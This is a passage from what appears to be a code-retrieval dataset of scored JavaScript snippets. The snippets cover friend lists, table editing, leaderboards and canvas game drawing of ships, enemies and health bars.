sortEntries(_pair, item) < 0);\n if (i === -1)\n this.items.push(_pair);\n else\n this.items.splice(i, 0, _pair);\n }\n else {\n this.items.push(_pair);\n }\n }", "title": "" }, { "docid": "b02e704b7304d69edf6d8ba994d7258c", "score": "0.45810625", "text": "function adjustFriendInList(otherMemberWebID,position)\r\n {\r\n //try\r\n {\r\n var chatClient = document.getElementById('friendListDiv');\r\n var thisFriend = document.getElementById(otherMemberWebID); \r\n \r\n \r\n if( chatClient.childNodes.item(position) != thisFriend )\r\n {\r\n chatClient.removeChild( thisFriend );\r\n chatClient.insertBefore( thisFriend, chatClient.childNodes.item(position) ); \r\n }\r\n }//catch(ex){}\r\n }", "title": "" }, { "docid": "515c095de91bd8dc9fec1e6dd4c8024e", "score": "0.45731118", "text": "loadRelationship (relationship, noUpdate) {\n\t\tif (this.getRelationshipsBySourceAndTargetAlias(\n\t\t\trelationship.getSourceAlias(), relationship.getTargetAlias()).length > 0)\n\t\t\tthrow new ModelOneError(\"A relationship between '\" + relationship.getSourceName() + \"' \" + \n\t\t\t\t\"as '\" + relationship.getSourceAlias() + \"' and '\" + relationship.getTargetName() + \"' \" +\n\t\t\t\t\"as '\" + relationship.getTargetAlias() + \"' already exists\");\n\t\trelationship.setEnv(this);\n\t\tthis.relationships.push(relationship);\n\t\tif (relationship.isForward())\n\t\t\tthis.relationships.push(relationship.getReverseRelationship());\n\t\telse\n\t\t\tthis.relationships.push(relationship.getForwardRelationship());\n\t}", "title": "" }, { "docid": "5ad6dd4c1de953e7f06e1f620b112bb3", "score": "0.45724154", "text": "async function retrieveFriendLocations(){\n for(let i = 0; i < friendList.length; i++){\n const friendInAPI = await getUserByWebId(friendList[i]);\n if(friendInAPI !== null) {\n let friendWithDataToAdd = {\"friendId\": friendList[i], \"latitude\": friendInAPI.latitude,\n \"longitude\" : friendInAPI.longitude};\n if(friendLocationList.indexOf(friendWithDataToAdd) < 0) {\n friendLocationList.push(friendWithDataToAdd);\n setFriendLocationList(friendLocationList);\n reloadMapView();\n }\n }\n }\n }", "title": "" }, { "docid": "b172eb0a22b5ddfb416fe3514925ecce", "score": "0.45723075", "text": "function searchPerson() {\n\n var table2 = document.getElementById(\"myTableLeader2\")\n while(table2.rows.length>1){\n table2.deleteRow(1)\n }\n\n num = 0\n persons.forEach(findPerson)\n\n\n}", "title": "" }, { "docid": "d324e9c5351a258eb729175d59536f6c", "score": "0.4572077", "text": "function addRow(pos)\n{\n\tpos = pos + 1;\n\tvar moveTo = pos + 1;\n\tvar table = get(\"MemberContributionsTable\");\n\ttable.insertRow(moveTo);\n\ttable.rows[moveTo].innerHTML = table.rows[pos].innerHTML;\n\tvar rows = get(\"MemberContributionsTable\").rows;\n\tvar cells = rows[moveTo].cells;\n\t// Since all of the elements that were added have previous values, the old values\n\t// need to be removed.\n\tfor (var i = 0; i < cells.length; i++)\n\t{\n\t\tfor (var j = 0; j < cells[i].getElementsByTagName(\"input\").length; j++)\n\t\t{\n\t\t\tif (!(cells[i].getElementsByTagName(\"input\")[j] == undefined))\n\t\t\t\tcells[i].getElementsByTagName(\"input\")[j].setAttribute(\"value\", \"\");\n\t\t}\n\t}\n\tcorrectNumbers();\n}", "title": "" }, { "docid": "ae46816e704e7b6812c01148dacb1d42", "score": "0.4569537", "text": "function addNewlyAddedAddress(){\n\t\tif(localStorage['addbook'] === undefined){\n\t\t\tlocalStorage['addbook'] = '';\n\t\t}else{\n\t\t\taddressBookData = JSON.parse(localStorage['addbook']);\n\t\t\tvar n = addressBookData.length - 1;\n\t\t\tvar tr=document.createElement(\"tr\");\n\t\t\tcreateRow(tr, n, addressBookData);\n\t\t}\n\t}", "title": "" }, { "docid": "604494463fad419407a5ac6a24381a20", "score": "0.45685983", "text": "function addFriend (name, object) {\n // this function will take a name and an object, then add the name to the 'friends'\n // array inside of the object. Then, return the object\n let arr;\n //placing the 'friends' array inside of arr\n arr = object['friends'];\n //pushing the value of 'name' into arr\n arr.push(name);\n //reassigning 'friends' to arr\n object['friends'] = arr;\n return object;\n}", "title": "" }, { "docid": "9b52fbe79775df10f2f9c35b0522b48b", "score": "0.45675072", "text": "function addToLeaderboard () {\n upObject = {\n name: null,\n score: null,\n }\n upObject.name = results;\n upObject.score = yallPercentage;\n leaderBoardObject.push(upObject);\n localStorage.setItem(\"Leaderboard\", JSON.stringify(leaderBoardObject));\n}", "title": "" } ]
54032c9cb78bddfe9d118d9b4bfc84f4
draw the health. This isn't in Ship.draw because if you had multiple ships, they would all overlap.
[ { "docid": "df6f36679d0af2965e6ca363779f446c", "score": "0.7945252", "text": "function drawHealth() {\n ctx.font = \"20px Courier\";\n ctx.fillStyle= GREEN_COLOR;\n var healthText = \"Health: \";\n var healthMeasure = ctx.measureText(healthText);\n var healthWidth = healthMeasure.width;\n ctx.fillText(healthText, 5, 23);\n // draw the grey background of the health bar\n ctx.fillStyle = \"grey\";\n ctx.fillRect(healthWidth+5, 12, 200, 10);\n\n // draw the ship health\n if (Math.floor(ship.health) >= 25) {\n ctx.fillStyle = GREEN_COLOR;\n } else {\n ctx.fillStyle = \"red\"; // I will make this more specific / prettier\n }\n var percentageFull = ship.health / MAX_HEALTH;\n percentageFull = max(0.0, percentageFull);\n ctx.fillRect(healthWidth+5, 12,\n Math.floor(percentageFull*200), 10);\n\n // now draw all the shield on top of that (last shield to first shield)\n for (var i = ship.shields.length-1; i >= 0; i--) {\n percentageFull = ship.shields[i].health / ship.shields[i].maxHealth;\n percentageFull = max(0.0, percentageFull);\n ctx.fillStyle = ship.shields[i].color;\n ctx.fillRect(healthWidth+5, 12, Math.floor(percentageFull*200), 10);\n }\n}", "title": "" } ]
[ { "docid": "8cd06786764aa90f2d0c1de012fec1d7", "score": "0.6891703", "text": "renderHealth()\r\n\t\t\t{\r\n\t\t\t\tif(this.hp > 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tthis.currHealthDisplay = (this.hp*64)/100;\r\n\t\t\t\t\tctx.fillStyle = \"magenta\";\r\n\t\t\t\t\tctx.fillRect(this.x*64,this.y*64+2,this.currHealthDisplay,6);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t}", "title": "" }, { "docid": "f6bbb7f8c7fbe3e8842510f509ef1e39", "score": "0.6685611", "text": "show() {\n\n fill(0, 0, 0);\n noStroke;\n rect(this.x, this.y, this.w * 2, this.w * 2);\n fill(255 * (10 / this.health), 255 * (this.health / 10), 0);\n rect(this.x, this.y - 25, this.health, 2);\n\n\n\n }", "title": "" }, { "docid": "40d3d527d80af5bdcfea66cd9024d797", "score": "0.65718085", "text": "draw() {\n if (!this.bDead) {\n for (let i = 0; i < this.lBullets.length; i++) {\n this.lBullets[i].draw();\n }\n if (this.nITimer > 0) {\n this.nITimer--;\n }\n if (this.nITimer > 0 && Math.floor(this.nITimer.toFixed(2) / 5) % 2 == 0) {} else {\n this.drawShip();\n }\n for (let asteroid of this.lAsteroids) {\n asteroid.draw();\n }\n }\n }", "title": "" }, { "docid": "e315affdb47491e3985f3233431e89b6", "score": "0.6372014", "text": "render() {\n\t\tlet self = this;\n\t\t\n\t\tif( this.model.health > 0 ){\n\t\t\tthis.sprite.draw(1, this.data.x, this.data.y);\n\t\t\n\t\t\t// Debug\n\t\t\tif( window.debug ){\n\t\t self.ctx.rect(\n\t\t self.hit_area.x,\n\t\t self.hit_area.y,\n\t\t self.hit_area.width,\n\t\t self.hit_area.height\n\t\t );\n\n\t\t self.ctx.strokeStyle = \"red\";\n\t\t self.ctx.stroke();\n\t\t\t}\n\n\t\t}\n\t}", "title": "" }, { "docid": "2a2b46f5be90b026fcdffe5d9caefc33", "score": "0.63503444", "text": "draw() {\r\n // Save the current state\r\n push();\r\n\r\n // Rotate the coordinate system by the ship heading\r\n translate(this.posX, this.posY);\r\n rotate(this.heading);\r\n translate(-this.posX, -this.posY);\r\n\r\n // Draw the ship\r\n if (this.firing) {\r\n image(shipFireImg, this.posX, this.posY);\r\n } else {\r\n image(shipImg, this.posX, this.posY);\r\n }\r\n\r\n // Restore state\r\n pop();\r\n }", "title": "" }, { "docid": "929a896a78d4464784241dedf77d3c09", "score": "0.6346592", "text": "draw(ctx) {\n this.animations[0].drawFrame(this.game.clockTick, ctx, this.x, this.y, this.scale);\n super.draw(ctx);\n\n let health = 150;\n // let modifier = this.width/2 - health/2;\n let modifier = this.BB.xCenter / 2;\n let distanceFromHead = 10;\n\n\n let healthCenter = this.BB.xCenter - (health / 2);\n\n ctx.fillStyle = \"white\";\n // ctx.fillRect(this.x, this.y - distanceFromHead, health, 5);\n ctx.fillRect(healthCenter, this.y - distanceFromHead, health, 5);\n // ctx.fillRect(this.x + modifier -1 , this.y - 1 - distanceFromHead, health + 1, 7);\n ctx.fillStyle = \"red\";\n ctx.fillRect(healthCenter, this.y - distanceFromHead, health * (this.life / this.totalLife), 5);\n // ctx.fillRect(this.x + modifier, this.y - distanceFromHead, - health * (this.totalLife/5000 - this.life/5000) + health, 5);\n ctx.stroke();\n\n\n }", "title": "" }, { "docid": "a870794e2b22444f2cccc9b5709b1eec", "score": "0.6336849", "text": "function draw(){\r\n\t\r\n\tbackground(0);\r\n\r\n\tdrawShip();\r\n\r\n\tdrawAlien();\r\n\r\n\r\n\tif (shipShooting === true) {\r\n\t\tdrawBullet();\r\n\t}\r\n\r\n\telse {\r\n\r\n\t\tfill(shipStandingBulletColor);\r\n\r\n\t\tellipse(shipStandingBulletX, shipStandingBulletY, shipStandingBulletDiameter, shipStandingBulletDiameter);\r\n\t}\r\n\r\n\tif (alienShooting === true) {\r\n\t\tdrawAlienBullet();\r\n\t}\r\n\r\n\r\n\r\n\t\r\n\r\n }", "title": "" }, { "docid": "0c32035de1b3411ee7dd7c538406cfbb", "score": "0.6246417", "text": "function draw() {\n erase();\n var gameOver = false;\n \n // Move and draw the enemies\n enemies.forEach(function(enemy, i) {\n enemy.x -= enemy.s;\n if (enemy.x < 0) {\n ship.h = ship.h - 1;\n delete enemies[i];\n }\n if (enemy.h > 1) {\n context.fillStyle = '#808000';\n } else {\n\t context.fillStyle = '#00FF00';\n }\n \n enemy.draw();\n // check for ship collision\n if (isColliding(enemy, ship)) {\n // remove ten health from ship\n\t\t\tship.h = ship.h - 10;\n // remove enemy when it collides\n\t\t\tdelete enemies[i];\n\n // if ship is at 0 health, set gameOver to true\n }\n if (ship.h <= 0) {\n gameOver = true;\n }\n \n });\n\n // Move the ship\n if (down) {\n ship.y += ship.s;\n }\n if (up) {\n ship.y -= ship.s;\n }\n // Don't go out of bounds\n if (ship.y < 0) {\n ship.y = 0;\n }\n if (ship.y > canvas.height - ship.l) {\n ship.y = canvas.height - ship.l;\n }\n // Draw the ship\n context.fillStyle = '#FF0000';\n ship.draw();\n // Move and draw the bullets\n if (shooting) {\n // Move the bullets\n bullets.forEach(function(bullet, bulletIndex) {\n bullet.x += bullet.s;\n // Collide the bullet with enemies\n \n // **#1 - Change code here**\n enemies.forEach(function(enemy, enemyIndex) {\n\n if (isColliding(bullet, enemy)) {\n\t\t\t\t\tbullets.splice(bulletIndex, 1);\n // decrease enemy health by 1\n enemy.h--;\n // check if enemy health is at or below zero\n console.log('this enemy\\'s health', enemy.h);\n if (enemy.h <= 0) {\n // if it is remove the enemy\n enemies.splice(enemyIndex, 1);\n\n score++;\n // increase ship health when kill enemy\n ship.h++;\n }\n }\n\n });\n });\n\n // Collide with the wall\n bullets.forEach(function(bullet, i) {\n if ( bullet.x > 600 ) {\n\t\t\t delete bullets[i];\n }\n });\n // Draw the bullet\n context.fillStyle = '#0000FF';\n bullets.forEach(function(bullet) {\n bullet.draw(); \n });\n\n }\n // Draw the score\n context.fillStyle = '#000000';\n context.font = '24px Arial';\n context.textAlign = 'left';\n context.fillText('Score: ' + score, 1, 25)\n // Draw the health meter\n context.fillStyle = '#000000';\n context.font = '24px Arial';\n context.textAlign = 'start';\n context.fillText('Health: ' + ship.h, 2, 50)\n // End or continue the game\n if (gameOver) {\n endGame();\n } else {\n window.requestAnimationFrame(draw);\n }\n}", "title": "" }, { "docid": "de5c9f7c120603e1342e7cf15e7562e2", "score": "0.61382705", "text": "render() {\n if (this.isAlive == true)//if enemy alive\n {\n this.enemySprite.render();//draw enemy\n if (this.fired)//if bolt fired \n {\n this.ctx.drawImage(this.boltImage, this.boltPosition[0] + 20, this.boltPosition[1] - 10);\n }\n /*\n * health bar\n */\n this.ctx.beginPath();\n this.ctx.fillStyle = \"red\";\n this.ctx.rect(this.enemyPosition[0], this.enemyPosition[1], this.healthBarSize[0], this.healthBarSize[1]);//health bar \n this.ctx.fill();\n }\n }", "title": "" }, { "docid": "80cfe2d4486e3f79d85f95372a45b3b9", "score": "0.61235625", "text": "draw() {\n this.drawSide(true);\n this.drawSide(false);\n this.drawMain();\n this.tick = this.tick + 0.01;\n this.levelStats();\n }", "title": "" }, { "docid": "ddd040191bd68ee325571d42d6f515ff", "score": "0.61051124", "text": "function drawShip(){\r\n \t\r\n \tfill(shipColor);\r\n\r\n ellipse(shipX, shipY, shipDiameter, shipDiameter);\r\n\r\n fill(shipVoidColor);\r\n\r\n ellipse(shipVoidX, shipVoidY, shipVoidDiameter, shipVoidDiameter);\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n if(keyIsDown(LEFT_ARROW) && shipX >= shipDiameter/2) {\r\n \tshipX -= shipSpeed;\r\n \tshipVoidX -= shipSpeed;\r\n \tshipStandingBulletX -= shipSpeed;\r\n }\r\n\r\n if (keyIsDown(RIGHT_ARROW) && shipX <= width - shipDiameter/2) {\r\n \tshipX += shipSpeed;\r\n \tshipVoidX += shipSpeed;\r\n \tshipStandingBulletX += shipSpeed;\r\n }\r\n\r\n \t\r\n \t\r\n }", "title": "" }, { "docid": "206036b85356f62b4d2fae6bfb32341f", "score": "0.6079849", "text": "function drawStats() {\n playerAtk = player.atk + playerWeapon.atk\n computerAtk = computer.atk + computerWeapon.atk\n playerHealth = player.hp\n computerHealth = computer.hp\n playerHealthPercent = Math.floor((playerHealth / player.hp) * 100)\n computerHealthPercent = Math.floor((computerHealth / computer.hp) * 100)\n}", "title": "" }, { "docid": "44e287f5ad6c47eb7c2ae1e265ad189d", "score": "0.60586095", "text": "function draw_healthbar(ctx, x, y, perclost, width, thickness) {\n if (perclost <= 0.5) {\n ctx.beginPath();\n ctx.fillStyle = '#00cc00';\n ctx.rect(x, y, width * (1 - perclost), thickness);\n ctx.fill();\n } else if (perclost <= 0.70) {\n ctx.beginPath();\n ctx.fillStyle = '#ff9933';\n ctx.rect(x, y, width * (1 - perclost), thickness);\n ctx.fill();\n } else if (perclost <= 0.9) {\n ctx.beginPath();\n ctx.fillStyle = '#ff3300';\n ctx.rect(x, y, width * (1 - perclost), thickness);\n ctx.fill();\n } else {\n ctx.beginPath();\n ctx.fillStyle = '#ff0000';\n ctx.rect(x, y, width * (1 - perclost), thickness);\n ctx.fill();\n }\n }", "title": "" }, { "docid": "d673a4149b90d379b617bd8c8a966bc7", "score": "0.60521185", "text": "function draw(ctx) {\n ctx.clearRect(H_cx, H_cy, H_width, H_height);\n ctx.beginPath();\n ctx.drawImage(\n background,\n 0, 0, background.width, background.height,\n H_cx, H_cy, H_width, H_height,\n );\n // draw healthbar\n /*\n if (hpLost < 1) {\n draw_healthbar(ctx, xHP, yHP, hpLost, widthHP, heightHP);\n }\n */\n const player = entityManager.getPlayer();\n const hpPercLost = 1.0 - player.health / 100;\n if (hpPercLost < 1) {\n draw_healthbar(ctx, xHP, yHP, hpPercLost, widthHP, heightHP);\n }\n if (magazineAmmo === 0) {\n reloadNotify(ctx);\n }\n\n if (reloading > 0) {\n reloadingNotify(ctx);\n }\n draw_heart(ctx, xHP - 22, yHP + 1, 20, 15);\n drawKillCount(ctx, kills);\n drawWeapon(ctx, W_cx, W_cy);\n drawAmmo(ctx, ammo, magazineSize, magazineAmmo);\n drawNumber(ctx, n_sx, n_sy, n_sw, n_sh, n_dx, n_dy, n_dw, n_dh);\n }", "title": "" }, { "docid": "fff122afeadca97ff57bb6595431b23d", "score": "0.60307944", "text": "draw(){\n if(this.attack && !this.dead){\n this.animations[this.direction + 4].drawFrame(this.game.clockTick, this.ctx, this.x, this.y, 1);\n }else if( this.dead){\n this.animations[8].drawFrame(this.game.clockTick, this.ctx, this.x, this.y);\n if(this.animations[8].isDone()){\n this.remove = true;\n }\n }else{\n this.animations[this.direction].drawFrame(this.game.clockTick, this.ctx, this.x, this.y, 1);\n }\n }", "title": "" }, { "docid": "9ffdbf92509a59f995dadc23bae00097", "score": "0.6026412", "text": "function healthBar(healthpoints){\n image(heart,width/2-540,height/2-35)\n fill('#FFF');\n rect(width/2-510,height/2-50,500,40);\n fill(255,0,0);\n rect(width/2-510,height/2-50,100*healthpoints,40);\n }", "title": "" }, { "docid": "14163d5d3a2b33b2bbd87e4706e95de6", "score": "0.60106677", "text": "function draw() {\n // Clear Canvas\n // Draw each GameObject\n context.clearRect(0, 0 ,canvas.width, canvas.height);\n\n if(duringGamePlay == true)\n {\n context.drawImage(backgroundSprite,0,0);\n drawHealthBar(playerHealth,enemyHealth);\n animate();\n }\n\n if(isGameLose == true)\n {\n context.drawImage(loseScreenSprite,0,0);\n enemyHealth = 10000;\n }\n\n if(isGameWon == true)\n {\n context.drawImage(winScreenSprite,0,0);\n playerHealth = 10000;\n }\n}", "title": "" }, { "docid": "f20bead4a7d5fa95325d7767770e606d", "score": "0.59903294", "text": "function addHealth(health) {\n if (playerShip.health < maximumHP) {\n playerShip.health += health\n }\n if (playerShip.health > maximumHP) {\n playerShip.health -= (playerShip.health - maximumHP);\n }\n\n}", "title": "" }, { "docid": "97ffed4d139a4e4108fd0fb757df97cd", "score": "0.5968627", "text": "function drawHUD() {\n \t/* draw horizon */\n\tstroke(255);\n\tstrokeWeight(1);\n \tline(0, horizon, width, horizon);\n\n\t/* draw score */\n\tnoStroke();\n\ttext(\"Generation: \" + generation+\" Score: \" + score, width / 2, 30);\n\n\tpopulation.draw()\n\t//dino.draw();\n}", "title": "" }, { "docid": "e5261a269b82f861da8a243e02a52851", "score": "0.5951505", "text": "function draw(){\r\n\tframeCounter = frameCounter + 1;\r\n\tctx.fillStyle = '#000000';\r\n\tctx.fillRect(0,0,canvas.width,canvas.height);\t\r\n\ttotalDodges = 0;\r\n\tfor(var i = 0; i < baddies.length; i++){\r\n\t\tvar baddy = baddies[i];\r\n\t\ttotalDodges = totalDodges + baddy.dodges;\r\n\t\tbaddy.draw();\t\t\r\n\t\t}\t\r\n\ttotalSaves = 0;\r\n\tfor(var i = 0; i < goodies.length; i++){\r\n\t\tvar goody = goodies[i];\r\n\t\ttotalSaves = totalSaves + goody.saves;\r\n\t\tgoody.draw();\t\t\r\n\t\t}\r\n\thero.draw();\r\n\thandleCollisions();\t\r\n\tprintStats();\r\n}", "title": "" }, { "docid": "aa18c2cc7e749aeb1d85dcd8055b0da2", "score": "0.59414184", "text": "drawFood(){\n fill(0,255,0);\n square(this.food[0],this.food[1],this.snakeThickness);\n }", "title": "" }, { "docid": "9ecdeb369dcb516c95868e12829ad468", "score": "0.592713", "text": "display(){\n if (this.health > 0){\n if (defence === 0){ //Alive and defending\n image(hImg[0], this.x, this.y);\n }\n else{ //Alive and not defending\n image(hImg[2], this.x, this.y);\n }\n }\n else{ //Dead\n image(hImg[3], this.x, this.y + height/7);\n }\n }", "title": "" }, { "docid": "252af8e9d594e828f6bee437ee09f505", "score": "0.58633494", "text": "function drawHud(){\n\tfill(255);\n\ttextSize(24);\n\ttextFont(hudFont);\n\ttext('Score: ' + gameScore, 24, 24);\n\n\t//draw the player on the top right to count remaining lives\n\tvar hudPlayer = {\n\n\t\txPos: 0,\n\t\tyPos: 0,\n\t\tsize: 0.5,\n\t\tspeed: 5,\n\t\tground: floorPosY, //New variable introduced to manage the depth of the canyon during the character fall.\n\t\tdata: {\n\t\t\theadCenterX: 0,\n\t\t\theadCenterY: -65,\n\t\t\theadDiameter: 16,\n\n\t\t\tbodyW: 10,\n\t\t\tbodyH: 26,\n\t\t\tbodyRoundCorners: 3,\n\n\t\t\tlegW: 3,\n\t\t\tlegH:12,\n\t\t\tlegRoundCorners: 1,\n\n\t\t\tfootDiameterX: 4,\n\t\t\tfootDiameterY: 2,\n\n\t\t\tarmW: 3,\n\t\t\tarmH: 12,\n\t\t\tarmRoundCorners: 1,\n\n\t\t\thandDiameter: 3,\n\n\t\t\tpadding: 1\n\t\t}\n\t};\n\tfor(var i = 0; i < lives; i++){\n\t\thudPlayer.yPos = 50;\n\t\thudPlayer.xPos = width - 20 - i*20;\n\t\tdrawFrontFacingCharacter(hudPlayer);\n\t}\n}", "title": "" }, { "docid": "2c6d8dbbd469fd204fc71d75f091c788", "score": "0.5862568", "text": "draw(x_in, y_in, w, h)\n\t{\n\t\tthis.drawCoasterBody();\n\t\tthis.drawDiscreteTrack();\n\t\tthis.drawEnergyBars();\n\t\t\n\t\tthis.world.draw(x_in, y_in);\n\t}", "title": "" }, { "docid": "3048a9be96b2508c01dab2c803425e1c", "score": "0.58530855", "text": "function toDrawShips(ships, salvoes, player) {\n ships.forEach(function(shipPiece) {\n shipPiece.locations.forEach(function(shipLocation) {\n if (player == undefined) {\n $(\"#B_\" + shipLocation).addClass(\"ship-piece\");\n } else {\n if (isHit(shipLocation, salvoes, player.id) != 0) {\n $(\"#B_\" + shipLocation).removeClass(\"ship-piece\");\n $(\"#B_\" + shipLocation).addClass(\"ship-piece-hited\");\n //$(\"#B_\" + shipLocation).text(\"X\")\n // isHit(shipLocation, salvoes, player.id)\n // );\n } else $(\"#B_\" + shipLocation).addClass(\"ship-piece\");\n }\n });\n });\n\n}", "title": "" }, { "docid": "e72b8304b9182e70f2d41e6dc5685928", "score": "0.5851804", "text": "function drawHUD() {\n\n\t/* field */\n\tfor (var i = 0; i < field.length; i++) {\n\n\t\tif (field[i].intact) {\n\n if (field[i].type != \"BLOOEY\" && field[i].type != \"RAT\" && field[i].type != \"CLOOEY\" && field[i].type != \"SCREWY\")\n\t\t\t\tfield[i].draw();\n\t\t}\n\t}\n\n\t/* score */\n\tnoStroke();\n fill(255);\n textSize(30);\n textAlign(LEFT);\n text(score, 5, height - 5);\n}", "title": "" }, { "docid": "ab96016052346d95a912192479550479", "score": "0.58515894", "text": "function drawFood() {\n\tdrawSquare(food.x, food.y, foodColor);\n}", "title": "" }, { "docid": "8d40e13ac4a114894c60b5de570c3247", "score": "0.5811542", "text": "function drawEnemyStats() {\n\t$(\"#enemyHpBarDiv\").html(\"<div class='progress'>\" +\n\t\t\"<div class='progress-bar progress-bar-danger' role='progressbar' aria-valuenow='\" + curHpEnemy + \"' aria-valuemin='0' aria-valuemax='\" + enemyChar.hpStart + \"' style='width: \" + (( 100 * curHpEnemy) / enemyChar.hpStart) + \"%'>\" +\n\t\tcurHpEnemy.toFixed() +\n\t\t\"</div>\" +\n\t\"</div>\"\n\t);\t\n\t$(\"#enemyAtkDiv\").html(\"<h3>Attack: \" + enemyChar.atkStart + \"</h3>\");\n\t$(\"#enemyDefDiv\").html(\"<h3>Defense: \" + enemyChar.def + \"</h3>\");\n}", "title": "" }, { "docid": "a36ab79cc5815ba0de12e27e0e1e777c", "score": "0.5794553", "text": "drawShip() {\n ctx.save();\n ctx.translate(this.vPos.x, this.vPos.y);\n ctx.rotate(this.fRotation);\n ctx.strokeStyle = 'white';\n ctx.beginPath();\n ctx.moveTo(0, 0);\n ctx.lineTo(-10, 10);\n ctx.lineTo(-10, -10);\n ctx.lineTo(0, 0);\n ctx.stroke();\n ctx.restore();\n }", "title": "" }, { "docid": "36a738eb100b152e84dacfc7b0c8ab75", "score": "0.57858545", "text": "function draw() {\n mX = mouseX;\n mY = mouseY;\n myShip = undefined; // with out this the game brakes\n background(200);\n push();\n translate(-diffx, SCOREBOARD_HIGHT - diffy);\n if (gotHit) {\n fill(150, 0, 0, 200);\n } else {\n fill(0);\n }\n rect(0, 0, FIELDCOUNT * WIDTH, FIELDCOUNT * HEIGHT);\n pop();\n /** Background */\n push();\n translate(0 - diffx, SCOREBOARD_HIGHT - diffy);\n for (let i = 0; i < STARS; i++) {\n stars[i].update();\n }\n pop();\n\n if (items !== undefined) {\n drawItems();\n }\n\n for (let l of lasers) {\n drawLaser(l);\n moveLaser(l);\n deleteLaser(l);\n }\n\n // SHIPS\n minimapContent = [];\n if (players !== undefined) {\n for (let p of players) {\n if (p.ship !== undefined) {\n // bc when a player joins the ship can be undefined in the beginning\n if (!p.ship.isDead) {\n if (p.id === socket.id) {\n myShip = p.ship;\n } else {\n drawShip(p.ship);\n minimapContent.push({ ship: p.ship });\n }\n\n drawHealth(p);\n } else {\n if (socket.id === p.id) {\n console.log(\"You got killed\");\n }\n }\n }\n }\n\n if (myShip !== undefined) {\n //if (myShip.position.x > middle.x) {\n diffx = myShip.position.x - middle.x;\n // } else {\n // diffx = 0;\n // }\n\n // if (myShip.position.y > middle.y) {\n diffy = myShip.position.y - middle.y;\n // } else {\n // diffy = 0;\n // }\n // }\n\n drawShip(myShip);\n minimapContent.push({ ship: myShip }); // show myself greeen on the minimap\n }\n\n keyDown();\n /** Scorebaord */\n push();\n fill(\"#505050\");\n rect(0, 0, WIDTH, SCOREBOARD_HIGHT);\n pop();\n if (time !== undefined) {\n drawTime();\n }\n\n let s = 0;\n for (let i = killFeed.length - 1; i >= 0; i--) {\n //fill(killFeed[i].killer.ship.color);\n\n drawtext(WIDTH - 20, SCOREBOARD_HIGHT + 20 + 16 * s, [\n [killFeed[i].killer.name, killFeed[i].killer.ship.color],\n [\" => \", [255, 0, 0]],\n [killFeed[i].corps.name, killFeed[i].corps.ship.color]\n ]);\n s++;\n }\n }\n\n drawMinimap();\n}", "title": "" }, { "docid": "9f1e0dc96c4b6147a8102d90fb85722d", "score": "0.57696426", "text": "function draw() {\n //set background color\n background(51);\n\n //update, render, and check if the snake is colliding with food\n snake.update();\n if (snake.eat(food.x, food.y)) {\n food.reset();\n }\n snake.render();\n\n //render food\n food.render();\n\n //update score counter\n fill(255);\n scoreCounter = snake.length + 1;\n text(\"Length: \" + scoreCounter, width - 120, gridSize*2);\n}", "title": "" }, { "docid": "b928f2473230d5ce148d33c6c9a3316c", "score": "0.5749515", "text": "draw () {\n this.bar.clear();\n\n this.bar.fillStyle(0x000000);\n this.bar.fillRect(this.x, this.y, this.width, 10);\n\n this.bar.fillStyle(0xffffff);\n this.bar.fillRect(this.x + 2, this.y + 2, this.width -4, 6);\n\n if (this.value < 30) {\n this.bar.fillStyle(0xff0000);\n } else {\n this.bar.fillStyle(0x00ff00);\n }\n\n let d = Math.floor(this.p * this.value);\n\n this.bar.fillRect(this.x + 2, this.y + 2, d, 6);\n }", "title": "" }, { "docid": "83df3b6132d4c2990a91eac987cd9458", "score": "0.57427245", "text": "function draw() {\n background(91);\n spaceship.display();\n}", "title": "" }, { "docid": "e1aea1309fbd6fcb61d5e5776b3ef8fb", "score": "0.5742215", "text": "function Ship(parameters) {\r\n\tthis.mass = 10;\r\n\tthis.shieldMax = 100;\r\n\tthis.shieldPoints = 100;\r\n\tthis.shieldRegen = 0.0025;\r\n\tthis.healthMax = 100;\r\n\tthis.healthPoints = 100;\r\n\tthis.energyMax = 100;\r\n\tthis.energyPoints = 100;\r\n\tthis.energyRegen = 0.0125;\r\n\tif(parameters && parameters[\"FiringPeriod\"]) {\r\n\t\tthis.firingPeriod = parameters[\"FiringPeriod\"];\r\n\t}\r\n\telse {\r\n\t\tthis.firingPeriod = 300;\r\n\t}\r\n\t// TODO: Weapon Damage\r\n\tthis.firingTimer = 300;\r\n\tthis.firingCost = 5;\r\n\tthis.weaponSpeed = 0.1;\r\n this.color = (parameters && parameters.color) ? parameters.color : [1,1,1,1];\r\n\tthis.canFire = function() {\r\n\t\treturn (this.firingTimer > this.firingPeriod && (this.energyPoints > this.firingCost));\r\n\t};\r\n\tthis.fire = function() {\r\n\t\tif(this.canFire()) {\r\n\t\t\tif (this.energyPoints > 0.8*this.energyMax) {\r\n\t\t\t\tthis.firingTimer = 0.2*this.firingPeriod; // 20% increase in firing rate when energy is over 80%\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tthis.firingTimer = 0;\r\n\t\t\t}\r\n\t\t\tthis.energyPoints -= this.firingCost;\r\n\t\t}\r\n\t};\r\n\tthis.updateShip = function(elapsed) {\r\n\t\tthis.shieldPoints += elapsed*this.shieldRegen; if(this.shieldPoints>this.shieldMax) this.shieldPoints = this.shieldMax;\r\n\t\tthis.energyPoints += elapsed*this.energyRegen; if(this.energyPoints>this.energyMax) this.energyPoints = this.energyMax;\r\n\t\tthis.firingTimer += elapsed;\r\n\t};\r\n\tthis.accelerationRate = function(elapsed) {\r\n\t\tvar accelerationAmount = 0.00005 * elapsed;\r\n\t\taccelerationAmount/=this.mass;\r\n\r\n\t\treturn accelerationAmount;\r\n\t};\r\n\tthis.accelerate = function(elapsed) {\r\n\t /* Nothing Doing*/\r\n };\r\n\tthis.takeDamage = function(velocity, mass, damage) { //damage = damage per unit mass\r\n\t\t// TODO: extract method - should not be in ship takeDamage method\r\n\t\tvar relativeVelocity = vec3.create();\r\n\t\tvec3.subtract(velocity, this.parent.velocity, relativeVelocity);\r\n\t\tvar v = vec3.length(relativeVelocity);\r\n\t\tvar keneticAdjustedDamage = 0.5*mass*damage*v*v;\r\n\r\n\t\tif(this.shieldPoints > 0) {\r\n\t\t\tthis.shieldPoints -= keneticAdjustedDamage;\r\n\t\t\tif(this.shieldPoints < 0) {\r\n\t\t\t\tthis.healthPoints -= -this.shieldPoints;\r\n\t\t\t\tthis.shieldPoints = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\tthis.healthPoints -= 